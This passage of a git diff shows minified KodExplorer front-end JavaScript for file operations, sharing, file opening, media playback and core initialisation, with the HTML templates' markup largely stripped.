a="path_info_more",o=LNG.info;1==t.length&&(a="folder"==t[0].type?"path_info":"file_info",o=core.pathThis(t[0].path),o.length>15&&(o=o.substr(0,15)+"... "+LNG.info));var s=template.compile(i[a]),r=UUID();e.data.is_root=G.is_root,e.data.LNG=LNG,e.data.atime=date(LNG.time_type_info,e.data.atime),e.data.ctime=date(LNG.time_type_info,e.data.ctime),e.data.mtime=date(LNG.time_type_info,e.data.mtime),e.data.size_friendly=core.fileSize(e.data.size);var l=$.dialog({id:r,padding:5,ico:core.iconSmall(n),fixed:!0,title:o,content:s(e.data),ok:!0}),c=15*$(".aui_outer .pathinfo").length;l.DOM.wrap.css({left:"+="+c+"px",top:"+="+c+"px"}),k(r,t)})},k=function(e,t){var i=$("."+e);i.find(".open_window").bind("click",function(){window.open(i.find("input.download_url").val())}),i.find(".qrcode").unbind("click").bind("click",function(){core.qrcode(i.find("input.download_url").val(),i.find(".qrcode").get(0))});var n=i.find(".file_md5_loading");if(1==n.length){var o=a(t);o+="&get_md5=1",core.fileInfo(o,function(e){n.removeClass("file_md5_loading"),e.code?n.html(e.data.file_md5):n.html(LNG.error)})}var s=i.find("input.download_url"),r=s.get(0);s.unbind("hover click").bind("hover click",function(){$(this).focus();var e=s.val().length;if($.browser.msie){var t=r.createTextRange();t.moveEnd("character",-r.value.length),t.moveEnd("character",e),t.moveStart("character",0),t.select()}else r.setSelectionRange(0,e)}),i.find(".edit_chmod").click(function(){var e=$(this).parent().find("input"),i=$(this);$.ajax({url:"index.php?explorer/pathChmod&mod="+e.val(),type:"POST",data:a(t),beforeSend:function(){i.text(LNG.loading)},error:function(){i.text(LNG.button_save)},success:function(e){i.text(e.data).animate({opacity:.6},400,0).delay(1e3).animate({opacity:1},200,0,function(){i.text(LNG.button_save)}),e.code&&ui.f5()}})})},w=function(e){if(core.authCheck("explorer:fileDownload")&&!(1>e.length)){var t="index.php?explorer/zipDownload";G.share_page!==void 0&&(t="index.php?share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:t,type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(e){Tips.close(e),Tips.tips(e);var t="index.php?explorer/fileDownloadRemove&path="+urlEncode(e.info);G.share_page!==void 0&&(t="index.php?share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},L=function(e,t,i){1>e.length||(i||(i="zip"),$.ajax({url:"index.php?explorer/zip&fileType="+i,type:"POST",dataType:"json",data:a(e),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof t&&t(e.info)}}))},N=function(e,t,i){if(e){var n=function(e){$.ajax({url:e,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&t(e)}})},a="index.php?explorer/unzip&path="+urlEncode(e);"to_this"==i&&(a+="&to_this=1"),"unzip_to_folder"==i?core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(e){a+="&path_to="+e,n(a)}):n(a)}},C=function(e,t,i){t&&$.ajax({url:"index.php?explorer/pathCuteDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(t+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},z=function(e,t,i,n){t&&(void 0==n&&(n=0),$.ajax({url:"index.php?explorer/pathCopyDrag",type:"POST",dataType:"json",data:a(e)+"&path="+urlEncode(t+"/")+"&filename_auto="+Number(n),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},T=function(){var e=function(e,t){var i='
        null!
        ';if(0!=e.length){i='
        '+LNG.clipboard_state+LNG[t]+"
        ";for(var n=40,a=0;e.length>a;a++){var o=e[a],s=o.path;s=n>s.length?s:"..."+s.substr(-n),i+="
        "+o.type+": "+s+""}i+="
        "}return i};$.ajax({url:"index.php?explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(t){t.code&&$.dialog({title:LNG.clipboard,padding:0,height:200,width:400,content:e(t.data,t.info)})}})},S=function(e,t,i){var n=function(){$.ajax({url:"index.php?fav/del&name="+urlEncode(e),dataType:"json",async:!1,success:function(e){"function"==typeof t&&t(e)}})};return i?(n(),void 0):($.dialog({id:"dialog_fav_remove",fixed:!0,icon:"question",title:LNG.fav_remove,width:200,padding:"40px 20px",content:LNG.fav_remove+"?",ok:n,cancel:!0}),void 0)},j=function(e){if(e){if(-1==trim(core.pathClear(e.path),"/").indexOf("/")){var t=core.getPathIcon(e.path,e.name);""!=t.icon&&(e.ext=t.icon,e.name=t.name)}$.ajax({url:"index.php?fav/add",dataType:"json",data:e,success:function(e){Tips.tips(e),e.code&&"desktop"!=Config.pageApp&&ui.tree.refreshFav()}})}},E=function(e){var t={};return t.type=e.find("input[type=radio]:checked").val(),t.content=e.find("textarea").val(),t.group=e.find("[name=group]").val(),e.find("input[type=text]").each(function(){var e=$(this).attr("name");t[e]=$(this).val()}),e.find("input[type=checkbox]").each(function(){var e=$(this).attr("name");t[e]="checked"==$(this).attr("checked")?1:0}),t},D=function(e){e.find(".type input").change(function(){var t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app_edit_select_icon").unbind("click").bind("click",function(){var t=G.basic_path+"static/images/file_icon/icon_app/";G.is_root||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app_edit_select_icon_input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},P=function(t,i,n){var a,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/app_edit.html"),d=template.compile(c);switch(void 0==n&&(n="user_edit"),"root_edit"==n&&(t=t),"user_edit"==n||"root_edit"==n?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t})):s=d({LNG:LNG,uuid:l,data:{}}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(E(a)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=E(a);switch(n){case"user_add":var s=urlEncode(G.this_path+e.name);o="./index.php?app/user_app&action=add&path="+s;break;case"user_edit":o="./index.php?app/user_app&path="+urlEncode(t.path);break;case"root_add":o="./index.php?app/add&name="+urlEncode(e.name);break;case"root_edit":o="./index.php?app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("root_edit"==n||"root_add"==n){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof i?i():ui.f5()}})}}]}),a=$("."+l),G.is_root||$(".appbox .appline .right a.open").remove(),t.group&&a.find("option").eq(t.group).attr("selected",1),a.find(".aui_content").css("overflow","inherit"),n){case"user_edit":a.find(".name").addClass("hidden"),a.find(".desc").addClass("hidden"),a.find(".group").addClass("hidden"),a.find("option[value="+t.group+"]").attr("checked",!0);break;case"user_add":a.find(".desc").addClass("hidden"),a.find(".group").addClass("hidden"),a.find("[apptype=url]").attr("checked",!0),a.find("[data-type=url] input[name=resize]").attr("checked",!0),a.find("input[name=width]").attr("value","800"),a.find("input[name=height]").attr("value","600"),a.find("input[name=icon]").attr("value","oexe.png");break;case"root_add":a.find("[apptype=url]").attr("checked",!0),a.find("[data-type=url] input[name=resize]").attr("checked",!0),a.find("input[name=width]").attr("value","800"),a.find("input[name=height]").attr("value","600"),a.find("input[name=icon]").attr("value","oexe.png");break;case"root_edit":a.find("option[value="+t.group+"]").attr("selected",!0);break;default:}D(a)},O=function(){core.appStore()},A=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:"./index.php?app/get_url_title&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var i=t.data;i=i.replace(/[\/\\]/g,"_"),Tips.close(t);var n={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:i,resize:1,simple:0,height:"70%",width:"90%"},a=urlEncode(G.this_path+i);e="./index.php?app/user_app&action=add&path="+a,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(n))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{strSort:s,appEdit:P,appList:O,appAddURL:A,share:u,shareBox:f,setBackground:_,createLink:v,createProject:g,newFile:r,newFolder:l,rname:c,unZip:N,zipDownload:w,zip:L,copy:p,cute:b,info:x,remove:d,cuteDrag:C,copyDrag:z,past:y,clipboard:T,fav:j,favRemove:S}}),define("app/common/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n
        \n {{LNG.share_path}}:\n \n
        \n
        \n
        \n {{LNG.share_name}}:\n \n \n \n \n \n
        \n
        \n\n \n\n \n
        \n \n
        '),define("app/common/tpl/fileinfo/path_info_more.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{file_num}} {{LNG.file}},{{folder_num}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{size_friendly}} ({{size}} Byte)
        \n
        \n
        \n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/common/tpl/app_edit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
        \n"),define("app/common/pathOpen",["./myPlayer"],function(e){var t=function(e,t){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;if("folder"==t)return"explorer"==Config.pageApp?ui.path.list(e+"/"):core.explorer(e),void 0;if("oexe"!=t){if(t||(t=core.pathExt(e)),l(t))return c(e),void 0;if("swf"==t)return $.dialog({resize:!0,fixed:!0,ico:core.icon("swf"),title:core.pathThis(e),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(e))}),void 0;if(inArray(core.filetype.archive_list,t))return core.zipView(e),void 0;if("url"==t)return core.fileGet(e,function(t){var i=t.match(/URL=(.*)/);i.length>=2?window.open(i[1]):s(e)}),void 0;if("webloc"==t)return core.fileGet(e,function(t){try{var i=$($.parseXML(t)),n=i.find("string").text();window.open(n)}catch(a){s(e)}}),void 0;if("html"==t||"htm"==t){var n=core.path2url(e);return core.openDialog(n,core.icon("html"),core.pathThis(e)),void 0}if(inArray(core.filetype.image,t)){var n=e;return-1==n.indexOf("http:")&&(n=core.path2url(n)),MaskView.image(n),void 0}if(inArray(core.filetype.music,t)||inArray(core.filetype.movie,t)){var n=core.path2url(e,!1);return p([{url:n,name:urlDecode(core.pathThis(e)),ext:t}]),void 0}if("pdf"!=t)return inArray(core.filetype.doc,t)?(c(e),void 0):inArray(core.filetype.text,t)?(s(e),void 0):("editor"==Config.pageApp?Tips.tips(t+LNG.edit_can_not,!1):i(e,""),void 0);var a=core.path2url(e),n="./lib/plugins/pdfjs/web/viewer.html?file="+urlEncode(a);if(canvasSupport())core.openDialog(n,core.icon(t),htmlEncode(core.pathThis(e)));else{var o="pdf"+UUID(),r='";$.dialog({resize:!0,fixed:!0,ico:core.icon(t),title:core.pathThis(e),width:800,height:400,padding:0,content:r}),new PDFObject({url:a}).embed(o)}}else if("string"==typeof e){var d=e;"string"!=typeof e&&(d=e.content.split("'")[1]),core.fileGet(d,function(e){var t=jsonDecode(e);t.name=core.pathThis(d),core.openApp(t)})}else core.openApp(e)}},i=function(e,t){void 0==t&&(t="");var i='
        '+LNG.unknow_file_tips+"
        "+t+"


        "+' "+LNG.edit+"  "+' "+LNG.unknow_file_download+"
        ";$.dialog({id:"open_unknow_dialog",fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:30,content:i,cancel:!0}),$(".unknow_file a").unbind("click").bind("click",function(){$.dialog.list.open_unknow_dialog.close()})},n=function(e){$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(e):$('').appendTo("body")},a=function(e){if(core.authCheck("explorer:fileDownload",LNG.no_permissiondownload)&&e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t="index.php?explorer/fileDownload&access_token="+G.access_token+"&path="+urlEncode(e);G.share_page!==void 0&&(t="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),"http"==e.substr(0,4)&&(t=e),n(t)}},o=function(e){if(void 0!=e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var t=core.path2url(e);window.open(t)}},s=function(e){if(e){if(!core.pathReadable(e))return Tips.tips(LNG.no_permission_read_all,!1),core.playSound("error"),void 0;var i=core.pathExt(e);return"Win32"==navigator.platform||"Windows"==navigator.platform,inArray(core.filetype.doc,i)?(c(e,!0),void 0):(core.pathThis(e),inArray(core.filetype.bindary,i)||inArray(core.filetype.music,i)||inArray(core.filetype.image,i)||inArray(core.filetype.movie,i)||inArray(core.filetype.doc,i)?(t(e,i),void 0):(r(e),void 0))}},r=function(e){var t=ShareData.frameTop();if(t.Editor!==void 0)return t.Editor.add(urlEncode(e)),void 0;if("editor"==Config.pageApp)return ShareData.frameChild("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))}),void 0;if(ShareData.frameTop("OpenopenEditor")){var i=t.$.dialog.list.openEditor,n=0;i&&"hidden"==$(i.DOM.wrap).css("visibility")&&(n=200,i.display(!0).zIndex().focus()),setTimeout(function(){ShareData.frameTop("OpenopenEditor",function(t){t.Editor.add(urlEncode(e))})},n)}else{var a="./index.php?editor/edit#filename="+urlEncode(e);G.share_page!==void 0&&(a="./index.php?share/edit&user="+G.user+"&sid="+G.sid+"#filename="+urlEncode(e));var o=htmlEncode(urlDecode(core.pathThis(e)));core.openDialog(a,core.icon("edit"),o,"openEditor")}},l=function(e){if(!G.kodOffice)return!1;var t=".docx.doc.odt.rtf.djvu.fb2.epub.xps.//.docm.dotm.dot.dotx.mht.//.wps.wpt.";return t+=".xls.xlsx.ods.csv.//.xlt.xltx.xlsb.xlsm.//.et.ett.",t+=".pps.ppsx.ppt.pptx.odp.//.pot.potx.pptm.ppsm.potm.//.dps.dpt.",-1===t.indexOf("."+e+".")?!1:!0},c=function(e,t){var i="./index.php?explorer/officeView&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0&&(i=G.app_host+"index.php?share/officeView&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e)),t!==void 0&&(i+="&is_edit=1"),"page"==G.kodOffice?(window.open(i),void 0):(core.openDialog(i,core.icon(core.pathExt(e)),htmlEncode(core.pathThis(e))),void 0)},d=function(t){if(t){"string"==typeof t&&(t=[t]);var i=e("./myPlayer");i.play(t)}},p=function(e){var t=ShareData.frameTop();t.ui.pathOpen.playerInstance(e)};return{open:t,playerInstance:d,play:p,openEditor:s,openEditorForce:r,openWindow:o,openUnknow:i,downloadUrl:n,download:a}}),define("app/common/myPlayer",[],function(e){var t="",i="",n="music_player",a="movie_player",o=function(e){var a=e==n?"mp3":"mp4",o="."+e+"_dialog",s=t,l={width:"70%",height:"60%"};e==n&&(s=i,l={width:"320px",height:"420px"});var c=$.dialog({id:e+"_dialog",simple:!0,ico:core.icon(a),title:"player",width:l.width,height:l.height,content:s,resize:!0,padding:0,fixed:!0,close:function(){var t=r(e);t.jPlayer("destroy")}});return c.DOM.wrap.addClass("myJPlayer"),$(o).find(".jPlayer-container")},s=function(e){return"music"==e?n:(void 0==e&&(e="mp3"),inArray(core.filetype.music,e)?n:a)},r=function(e){var t="."+e+"_dialog",i=$(t);return 0==i.length?!1:i.find(".jPlayer-container")},l=function(e){var t={mp4:"m4v",m4v:"m4v",mov:"m4v",ogv:"ogv",webm:"webmv",webmv:"webmv",flv:"flv",f4v:"flv",f4a:"flv",mp3:"mp3",wav:"wav",m4a:"mp3",aac:"mp3",ogg:"oga",oga:"oga",webma:"webma"},i=e.ext,n=t[i],a={extType:n,title:e.name,url:e.url,solution:"flv"==i||"f4v"==i?"flash":"html,flash"};return a[n]=e.url,a},c=function(e,t){if(t){var i=e.parents(".jPlayer"),n={solution:t.solution,swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf"};i.attr("id",UUID()),e.jPlayer("destroy"),e.find(".jPlayer-container").children().remove(),e.jPlayer(jPlayerConfigInit(i,n)),e.find("object").length>0?i.addClass("flashPlayer"):i.removeClass("flashPlayer"),e.jPlayer("setMedia",t),setTimeout(function(){e.jPlayer("play")},150),jPlayerBindControl(i),setTimeout(function(){var e=i.parents(".dialog-simple").find(".aui_titleBar").attr("id"),n=$.dialog.list[e];n&&n.title(t.title)},100)}},d=function(e){var t=e[0].ext,i=s(t),a=r(i),d=l(e[0]);a||(a=o(i),i==n&&p.init()),i==n&&(d=p.insert(a,e,t)),c(a,d);try{$.dialog.list[i+"_dialog"].display(!0)}catch(u){}},p=function(){var e=[],t=0,i=null,n="circle",a=function(n,a){i=n;for(var s=e.length,r=0;a.length>r;r++){var c=!1,d=0;for(d=0;e.length>d;d++)if(e[d].url==a[r].url){c=!0;break}if(c){if(r==a.length-1)return t!=d&&o(d),!1}else e.push(l(a[r]))}return e.length==s?!1:(t=e.length-1,u(!0),e[t])},o=function(n){n=0>=n?0:n,n=n>=e.length-1?e.length-1:n,t=n;var a=e[n];c(i,a),u(!1)},s=function(i){switch(n){case"circle":"next"==i?e.length-1>t?o(t+1):o(0):0>t-1?o(e.length-1):o(t-1); +break;case"rand":o(roundFromTo(0,e.length)-1);break;case"one":o(t);break;default:}},r=function(t){e.remove(t),o(t),u(!0)},d=function(t){var i=e[t],n=i.url+"&download=1";ui.pathOpen.downloadUrl(n)},p=function(){t=0,e=[],n="circle";var i=$(".jPlayer-music"),a=[{icon:"icon-retweet",loop:"circle"},{icon:"icon-random",loop:"rand"},{icon:"icon-refresh loop-one",loop:"one"}];i.find(".change-loop").unbind("click").bind("click",function(){var e=parseInt($(this).attr("data-loop"))+1;e=0>e?0:e,e=e>=a.length?0:e;var t=a[e];$(this).attr("data-loop",e).find("i").attr("class",t.icon),n=t.loop}),i.find(".play-backward").unbind("click").bind("click",function(){s("prev")}),i.find(".play-forward").unbind("click").bind("click",function(){s("next")}),i.find(".show-list").unbind("click").bind("click",function(e){i.parents(".music_player_dialog").toggleClass("hide-play-list"),stopPP(e)}),i.find(".play-list .item").die("click").live("click",function(e){var t=$(this).index();o(t),stopPP(e)}),i.find(".play-list .remove").die("click").live("click",function(e){var t=$(this).parents(".item"),i=t.index();return t.remove(),r(i),stopPP(e),!1}),i.find(".play-list .download").die("click").live("click",function(e){var t=$(this).parents(".item").index();return d(t),stopPP(e),!1})},u=function(n){var a=$(i).parents(".jPlayer");if(n){var o="";$.each(e,function(e,t){o+='
      • '+t.title+'
      • '}),a.find(".play-list .content").html(o)}return 0!=e.length&&e[t]?(a.find(".item-title").html(e[t].title),a.find(".item").removeClass("this"),a.find(".item:eq("+t+")").addClass("this"),f(a.find(".player-bg")),void 0):(t=0,a.find(".item-title").html("  "),i.jPlayer("destroy"),i.find(".jPlayer-container").children().remove(),void 0)},f=function(e){var t=h(),i=h(),n="160deg",a="background-image: -webkit-linear-gradient("+n+", "+t+", "+i+"); background-image: -moz-linear-gradient("+n+", "+t+", "+i+"); background-image: -o-linear-gradient("+n+", "+t+", "+i+"); background-image: -ms-linear-gradient("+n+", "+t+", "+i+"); background-image: linear-gradient("+n+", "+t+", "+i+");";e.attr("style",a)},h=function(){return"#"+(16777215*Math.random()<<0).toString(16)};return{insert:a,init:p}}(),u=function(n){var o=s(n[0].ext);o==a?e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){t=jplayerTemplateMovie,d(n)}):e.async(["lib/jPlayer/kod.flat/template.js","lib/jPlayer/jquery.jplayer.min.js","lib/jPlayer/kod.flat/control.js","lib/jPlayer/kod.flat/style.css"],function(){i=jplayerTemplateMusic,d(n)})},f=function(t,i){e.async(["lib/jPlayer/jquery.jplayer.min.js"],function(){var e={solution:"html",swfPath:G.static_path+"js/lib/jPlayer/jquery.jplayer.swf",media:{title:"",mp3:t},ready:function(){i.jPlayer("setMedia",e.media).jPlayer("play")}};i.jPlayer("destroy").children().remove(),i.jPlayer(e)})};return{play:u,playSound:f}}),define("app/share_common/topbar",[],function(){var e="index.php?share/fileDownload&user="+G.user+"&sid="+G.sid,t="index.php?share/fileProxy&user="+G.user+"&sid="+G.sid;"1"==G.param_rewrite&&(e=e.replace("index.php?","index.php/"));var i=function(){"file"!=G.share_info.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()):($(".btn.button_my_share").show(),$(".share_info_user .btn-group").hide()),"file"==G.share_info.type&&($(".btn.button_my_share").hide(),$(".share_info_user .btn-group").show()),"1"==G.share_info.not_download&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share_info_user").removeClass("hidden"),$(".btn_download").attr("href",e);var i=date("Y/m/d H:i:s",G.share_info.mtime);$(".topbar .time").html(i),"file"==G.share_info.type&&$(".topbar .size").html(G.share_info.size),$(".topbar .info").html(LNG.share_view_num+G.share_info.num_view+" "+LNG.share_download_num+G.share_info.num_download),$("#button_share").die("click").live("click",function(){share()})};return{init:i}}); \ No newline at end of file diff --git a/static/js/app/src/share_explorer/main.js b/static/js/app/src/share_explorer/main.js index c5b3dfb..95b8622 100755 --- a/static/js/app/src/share_explorer/main.js +++ b/static/js/app/src/share_explorer/main.js @@ -1,8 +1,8 @@ -/*! power by kodexplorer ver3.41(2017-03-06) [build 1488797373403] */ -define("app/src/share_explorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","lib/picasa/picasa","../../common/core","../../share_common/rightMenu","../../common/taskTap","../explorer/ui","../explorer/fileContent","../../common/tree","../../common/pathOperate","../../common/pathOpen","../../common/myPlayer","../explorer/path","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize","../explorer/headerAddress","../../share_common/topbar"],function(e){Config={BodyContent:".bodymain",FileBoxSelector:".fileContiner",FileBoxClass:".fileContiner .file",FileBoxClassName:"file",FileBoxTittleClass:".fileContiner .title",SelectClass:".fileContiner .select",SelectClassName:"select",TypeFolderClass:"folderBox",TypeFileClass:"fileBox",HoverClassName:"hover",FileOrderAttr:"number",TreeId:"folderList",pageApp:"explorer",treeAjaxURL:"index.php?share/treeList&app=folder&user="+G.user+"&sid="+G.sid,AnimateTime:200},e("lib/jquery-lib"),e("lib/util"),e("lib/ztree/ztree"),e("lib/contextMenu/jquery-contextMenu"),e("lib/artDialog/jquery-artDialog"),e("lib/picasa/picasa"),core=e("../../common/core"),rightMenu=e("../../share_common/rightMenu"),TaskTap=e("../../common/taskTap"),ui=e("../explorer/ui"),ui.tree=e("../../common/tree"),ui.path=e("../explorer/path"),ui.fileLight=e("../explorer/fileLight"),ui.fileSelect=e("../explorer/fileSelect"),ui.fileListResize=e("../explorer/fileListResize"),ui.headerAddress=e("../explorer/headerAddress");var t=e("../../share_common/topbar");$(document).ready(function(){function i(e){var t=RegExp("(^|&)"+e+"=([^&]*)(&|$)"),i=window.location.search.substr(1).match(t);return null!=i?unescape(i[2]):null}core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),ui.tree.init(),TaskTap.init(),rightMenu.initExplorer(),t.init(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),$(".init_loading").fadeOut(450).addClass("pop_fadeout"),$(".frame-main .frame-left #folderList").css("bottom","0px"),"file_list"==i("type")&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius")),$(".kod_path_tool #upload").hide(),G.share_info.can_upload&&($(".kod_path_tool #upload").show(),e.async("lib/webuploader/webuploader-min",function(){core.uploadInit()})),$("#fav").remove(),ui.path.show_file=function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(ui.path.makeParam().path);window.open(e)}})}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1),resetHost()),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},resetHost=function(){var e=window.location.port?":"+window.location.port:"";G.web_host=window.location.protocol+"//"+window.location.hostname+e+"/",G.app_host=rtrim(G.web_host,"/")+window.location.pathname.replace("index.php","")},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){isWap()||require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=1500;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
        ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","j